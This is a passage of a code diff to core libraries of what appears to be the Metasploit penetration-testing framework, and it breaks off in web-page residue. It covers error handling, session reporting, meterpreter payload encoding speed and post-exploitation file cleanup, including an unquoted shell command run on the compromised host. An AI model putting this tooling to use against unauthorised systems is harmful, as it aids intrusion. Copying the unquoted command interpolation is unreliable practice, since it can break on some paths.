loop do - # Spawn threads for each host while tl.size <= (opts[:max_threads] || 5) && !@queue.empty? && (req = @queue.pop) tl << framework.threads.spawn( "#{self.class.name} - #{req})", false, req ) do |request| - request.handle_response request( request.url, request.opts ) + # Keep callback failures isolated. + begin + request.handle_response request( request.url, request.opts ) + rescue => e + elog e.to_s + e.backtrace.each { |l| elog l } + end end end @@ -261,10 +266,12 @@ def queue( request ) end def _request( url, opts = {} ) - body = opts[:body] + body = opts[:body] timeout = opts[:timeout] || 10 - method = opts[:method].to_s.upcase || 'GET' - url = url.is_a?( URI ) ? url : URI( url.to_s ) + method = opts[:method].to_s.upcase || 'GET' + url = url.is_a?( URI ) ? url : URI( url.to_s ) + + rex_overrides = opts.delete( :rex ) || {} param_opts = {} @@ -280,10 +287,11 @@ def _request( url, opts = {} ) end opts = @request_opts.merge( param_opts ).merge( - 'uri' => url.path || '/', - 'method' => method, + 'uri' => url.path || '/', + 'method' => method, 'headers' => headers.merge( opts[:headers] || {} ) - ) + # Allow for direct rex overrides + ).merge( rex_overrides ) opts['data'] = body if body @@ -291,7 +299,12 @@ def _request( url, opts = {} ) Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out - rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout + #rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout + # This is bad but we can't anticipate the gazilion different types of network + # i/o errors between Rex and Errno. + rescue => e + elog e.to_s + e.backtrace.each { |l| elog l } Response.empty end diff --git a/lib/msf/core/auxiliary/wmapmodule.rb b/lib/msf/core/auxiliary/wmapmodule.rb index fe55d7747e60..7af067ed3efe 100644 --- a/lib/msf/core/auxiliary/wmapmodule.rb +++ b/lib/msf/core/auxiliary/wmapmodule.rb @@ -71,7 +71,7 @@ def wmap_base_url else res << datastore['VHOST'] end - res << ":" + wmap_target_port + res << ":" + wmap_target_port.to_s res end diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 95abe10e2a12..7e0bc736bae5 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -679,8 +679,8 @@ def report_session(opts) # In the case of multi handler we cannot yet determine the true # exploit responsible. But we can at least show the parent versus # just the generic handler: - if session and session.via_exploit == "exploit/multi/handler" - sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] + if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] end s = ::Mdm::Session.new(sess_data) @@ -696,9 +696,9 @@ def report_session(opts) mod = framework.modules.create(session.via_exploit) - if session.via_exploit == "exploit/multi/handler" - mod_fullname = sess_data[:datastore]['ParentModule'] - mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + mod_fullname = sess_data[:datastore]['ParentModule'] + mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name else mod_name = mod.name mod_fullname = mod.fullname @@ -720,7 +720,7 @@ def report_session(opts) vuln = framework.db.report_vuln(vuln_info) - if session.via_exploit == "exploit/multi/handler" + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] via_exploit = sess_data[:datastore]['ParentModule'] else via_exploit = session.via_exploit @@ -4869,6 +4869,7 @@ def import_nmap_noko_stream(args, &block) # If you have Nokogiri installed, you'll be shunted over to # that. Otherwise, you'll hit the old NmapXMLStreamParser. def import_nmap_xml(args={}, &block) + return nil if args[:data].nil? or args[:data].empty? wspace = args[:wspace] || workspace bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index f564ea3ef3b9..914d126c7103 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -268,6 +268,8 @@ def create_db(opts) def disconnect begin ActiveRecord::Base.remove_connection + self.migrated = false + self.modules_cached = false rescue ::Exception => e self.error = e elog("DB.disconnect threw an exception: #{e}") diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 413d1e521f81..d5c481e7cef7 100755 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -41,6 +41,7 @@ def initialize(framework, pinst, reqs) # This method generates the full encoded payload and returns the encoded # payload buffer. # + # @return [String] The encoded payload. def generate(raw = nil) self.raw = raw self.encoded = nil @@ -86,8 +87,9 @@ def generate(raw = nil) # # Generates the raw payload from the payload instance. This populates the - # raw attribute. + # {#raw} attribute. # + # @return [String] The raw, unencoded payload. def generate_raw self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '') @@ -216,7 +218,7 @@ def encode # If the encoded payload is nil, raise an exception saying that we # suck at life. if (self.encoded == nil) - encoder = nil + self.encoder = nil raise NoEncodersSucceededError, "#{pinst.refname}: All encoders failed to encode.", diff --git a/lib/msf/core/encoder.rb b/lib/msf/core/encoder.rb index b1b17cab23d4..b8ebff5635a4 100644 --- a/lib/msf/core/encoder.rb +++ b/lib/msf/core/encoder.rb @@ -308,7 +308,12 @@ def do_encode(state) while (offset < state.buf.length) block = state.buf[offset, decoder_block_size] - state.encoded += encode_block(state, + # Append here (String#<<) instead of creating a new string with + # String#+ because the allocations kill performance with large + # buffers. This isn't usually noticeable on most shellcode, but + # when doing stage encoding on meterpreter (~750k bytes) the + # difference is 2 orders of magnitude. + state.encoded << encode_block(state, block + ("\x00" * (decoder_block_size - block.length))) offset += decoder_block_size diff --git a/lib/msf/core/encoder/xor.rb b/lib/msf/core/encoder/xor.rb index 69b6db7d3079..4c351ac45e85 100644 --- a/lib/msf/core/encoder/xor.rb +++ b/lib/msf/core/encoder/xor.rb @@ -26,6 +26,9 @@ def encode_block(state, block) # Finds keys that are incompatible with the supplied bad character list. # def find_bad_keys(buf, badchars) + # Short circuit if there are no badchars + return super if badchars.length == 0 + bad_keys = Array.new(decoder_key_size) { Hash.new } byte_idx = 0 diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index 51b11c738bc5..ff700984bea9 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -21,7 +21,7 @@ module Exploit::Remote::DCERPC DCERPCPacket = Rex::Proto::DCERPC::Packet DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID + DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 2a17254de7d8..12ef03efb204 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -22,7 +22,9 @@ def on_new_session(session) # Meterpreter should do this automatically as part of # fs.file.rm(). Until that has been implemented, remove the # read-only flag with a command. - session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end session.fs.file.rm(file) print_good("Deleted #{file}") true @@ -54,7 +56,7 @@ def on_new_session(session) # # Record file as needing to be cleaned up # - # @param [ArrayLoading, Please Wait...
Loading, Please Wait...